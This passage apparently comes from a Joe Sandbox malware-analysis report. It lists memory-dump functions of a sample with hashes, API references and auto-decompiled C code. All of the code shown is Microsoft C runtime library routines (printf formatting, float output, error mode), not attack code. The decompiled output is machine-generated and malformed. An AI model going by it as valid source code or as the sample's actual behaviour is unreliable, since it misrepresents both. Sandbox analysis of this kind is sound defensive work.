Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4289034949-3158630120
Opcode ID: 7890e27b60dd6190a594b9f91f52ede1532afa69bed6f8af2efe2e3822764927
Instruction ID: c0a91e0d1535946eeb0064ad564bb48c62a3032cd77e0e4223d97f6904e881e9
Opcode Fuzzy Hash: 7890e27b60dd6190a594b9f91f52ede1532afa69bed6f8af2efe2e3822764927
Instruction Fuzzy Hash: 9F31B5B0E04318EFCB08DFA5DA51AEDB772AF54304F20416AE4056F3C2D7789A41DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00429061, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69fileCOMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 004290C8
__set_error_mode.LIBCMTD ref: 004290D7
GetStdHandle.KERNEL32(000000F4), ref: 004290EE
_strlen.LIBCMT ref: 00429114
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0042912C

Strings

jjj, xrefs: 004290B0
t/j, xrefs: 00429101

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __set_error_mode$FileHandleWrite_strlen
String ID: jjj$t/j
API String ID: 1121076223-194299851
Opcode ID: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction ID: d8b5e23f6cb3e1dade57b65bf6def8191d144fca668162afc7d3ff6ec2f72300
Opcode Fuzzy Hash: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction Fuzzy Hash: EB21F134B00219FBEB20CB89F849B6D7374AF40314FA0856AE54593290D3799E60CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0042E8B0, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 59%

			E0042E8B0(void* __ebx, void* __edi, void* __esi, void* __eflags, char _a4, intOrPtr* _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				char _v32;
				char _v34;
				short _v36;
				short _v40;
				intOrPtr _v44;
				char _v48;
				signed int _t25;
				intOrPtr* _t29;
				signed int _t55;
				void* _t56;

				_t25 =  *0x440354; // 0x30896efa
				_v8 = _t25 ^ _t55;
				E0042E960( &_v48,  &_a4);
				_push( &_v36);
				_push(0);
				_t29 = _t56 + 8 - 0xc;
				 *_t29 = _v48;
				 *((intOrPtr*)(_t29 + 4)) = _v44;
				 *((short*)(_t29 + 8)) = _v40;
				 *((intOrPtr*)(_a12 + 8)) = E00438DD0(__ebx, __edi, __esi);
				 *_a12 = _v34;
				 *((intOrPtr*)(_a12 + 4)) = _v36;
				E0041DF70(E0041DAF0(__ebx,  &_v32, __esi, _a16, _a20,  &_v32), _t34, L"strcpy_s(resultstr, resultsize, autofos.man)", L"_fltout2", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\prebuild\\conv\\cfout.c", 0x2e, 0);
				 *((intOrPtr*)(_a12 + 0xc)) = _a16;
				return E0042BC70(_a12, __ebx, _v8 ^ _t55, _a16, __edi, __esi, 0x11);
			}

0x0042e8b8
0x0042e8bf
0x0042e8ca
0x0042e8d5
0x0042e8d6
0x0042e8dd
0x0042e8e2
0x0042e8e7
0x0042e8ee
0x0042e8fd
0x0042e907
0x0042e910
0x0042e93b
0x0042e949
0x0042e95c

APIs

___dtold.LIBCMTD ref: 0042E8CA
_$I10_OUTPUT.LIBCMTD ref: 0042E8F2
_wcscpy_s.LIBCMTD ref: 0042E932

Part of subcall function 0041DAF0: __invalid_parameter.LIBCMTD ref: 0041DB62

__invoke_watson_if_error.LIBCMTD ref: 0042E93B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c, xrefs: 0042E917
_fltout2, xrefs: 0042E91C
strcpy_s(resultstr, resultsize, autofos.man), xrefs: 0042E921

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID: _fltout2$f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c$strcpy_s(resultstr, resultsize, autofos.man)
API String ID: 289039318-2574656408
Opcode ID: 7c1bf9870b9acff13d5e6e3829d3d5e690f23311637098bd71c3258c7dc841f3
Instruction ID: 11e1178766f90829e16a40691253ea5cd7baa51dbb4d4502f8c8a4e7a7869a32
Opcode Fuzzy Hash: 7c1bf9870b9acff13d5e6e3829d3d5e690f23311637098bd71c3258c7dc841f3
Instruction Fuzzy Hash: 58214DB5A003089BCB04DF65DC42AEEB7B4EF8C704F14855AF80567381E634E951CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00427CF8, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427CF8() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t524 - 0x260)) = 0x27;
					while(1) {
						L139:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L144:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428310(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428310(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
											 *(__ebp - 0x2ac) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428310(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428330(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b0) = E00428330(__ebp + 0x14);
								 *(__ebp - 0x2ac) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L161;
							}
							L157:
							__eflags =  *(__ebp - 0x2ac);
							if(__eflags > 0) {
								goto L161;
							}
							L158:
							if(__eflags < 0) {
								L160:
								 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
								__edx =  *(__ebp - 0x2ac);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
								 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L162:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2b8);
										__eax =  *(__ebp - 0x2b4);
										__eax =  *(__ebp - 0x2b4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2b4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									L173:
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										L177:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L181:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L207;
												}
												L182:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2bc);
													__eax = E004356D0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00435710( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E004356D0(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L203:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E00435710(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L204;
												} else {
													L195:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L203;
													}
													L196:
													 *(__ebp - 0x2d4) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
													while(1) {
														L197:
														__ecx =  *(__ebp - 0x2c4);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L198:
														__eax =  *(__ebp - 0x2c0);
														 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
														__edx =  *(__ebp - 0x316) & 0x0000ffff;
														__eax = __ebp - 0x2d0;
														__ecx = __ebp - 0x2c8;
														 *(__ebp - 0x2d4) = E004341E0(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														__eflags =  *(__ebp - 0x2d4);
														if( *(__ebp - 0x2d4) != 0) {
															L200:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L199:
														__eflags =  *(__ebp - 0x2c8);
														if( *(__ebp - 0x2c8) != 0) {
															L201:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c8);
															__ebp - 0x2d0 = E00435710( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L200;
													}
													L202:
													L204:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2bc);
															__eax = E004356D0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L207:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C4F0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L209:
													 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
													 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
													if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
															 *(_t524 - 0x2fc) = 0;
														} else {
															 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404460) & 0x0000000f;
														}
													}
													L7:
													 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
													_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
													 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404480) >> 4;
													 *(_t524 - 0x300) =  *(_t524 - 0x25c);
													if( *(_t524 - 0x300) > 7) {
														continue;
													}
													L8:
													switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M00428208))) {
														case 0:
															L9:
															 *(_t524 - 0xc) = 0;
															_t483 = E004311D0( *(_t524 - 0x251) & 0x000000ff, E0041AE00(_t524 - 0x40));
															_t528 = _t526 + 8;
															if(_t483 == 0) {
																L15:
																E00435630( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t526 = _t528 + 0xc;
																goto L209;
															} else {
																E00435630( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t528 = _t528 + 0xc;
																_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																asm("sbb eax, eax");
																 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																if(_t513 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t495 = L0041E330();
																	_t528 = _t528 + 0x14;
																	if(_t495 == 1) {
																		asm("int3");
																	}
																}
																L13:
																if( *(_t524 - 0x278) != 0) {
																	goto L15;
																} else {
																	 *((intOrPtr*)(L00422E20(_t509))) = 0x16;
																	E00422BB0(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t524 - 0x2e4) = 0xffffffff;
																	E0041ADD0(_t524 - 0x40);
																	_t478 =  *(_t524 - 0x2e4);
																	goto L211;
																}
															}
														case 1:
															L16:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L209;
														case 2:
															L17:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															__eflags =  *(__ebp - 0x304) - 0x10;
															if( *(__ebp - 0x304) > 0x10) {
																goto L24;
															}
															L18:
															__ecx =  *(__ebp - 0x304);
															_t63 = __ecx + 0x428240; // 0x498d04
															__edx =  *_t63 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428228))) {
																case 0:
																	goto L21;
																case 1:
																	goto L22;
																case 2:
																	goto L20;
																case 3:
																	goto L19;
																case 4:
																	goto L23;
																case 5:
																	goto L24;
															}
														case 3:
															L25:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t87 = __ecx - 0x30; // -48
																__edx = __eax + _t87;
																 *(__ebp - 0x18) = __eax + _t87;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															L30:
															goto L209;
														case 4:
															L31:
															 *(__ebp - 0x30) = 0;
															goto L209;
														case 5:
															L32:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t98;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L209;
														case 6:
															L38:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															__eflags =  *(__ebp - 0x308) - 0x2e;
															if( *(__ebp - 0x308) > 0x2e) {
																L61:
																goto L209;
															}
															L39:
															__ecx =  *(__ebp - 0x308);
															_t106 = __ecx + 0x428268; // 0x7b1f9003
															__edx =  *_t106 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428254))) {
																case 0:
																	L44:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L47:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L50:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L56:
																				L58:
																				goto L61;
																			}
																			L51:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L56;
																			}
																			L52:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L56;
																			}
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L56;
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L56;
																			}
																			L55:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L9;
																			}
																			goto L56;
																		}
																		L48:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	}
																	L45:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L47;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																case 1:
																	L59:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L61;
																case 2:
																	L40:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L61;
																case 3:
																	L60:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L61;
																case 4:
																	goto L61;
															}
														case 7:
															L62:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x30c) = __ecx;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															__eflags =  *(__ebp - 0x30c) - 0x37;
															if( *(__ebp - 0x30c) > 0x37) {
																while(1) {
																	L181:
																	__eflags =  *(__ebp - 0x28);
																	if( *(__ebp - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															}
															L63:
															_t147 =  *(__ebp - 0x30c) + 0x4282d4; // 0xcccccc0d
															__ecx =  *_t147 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00428298))) {
																case 0:
																	L114:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L115;
																case 1:
																	L64:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
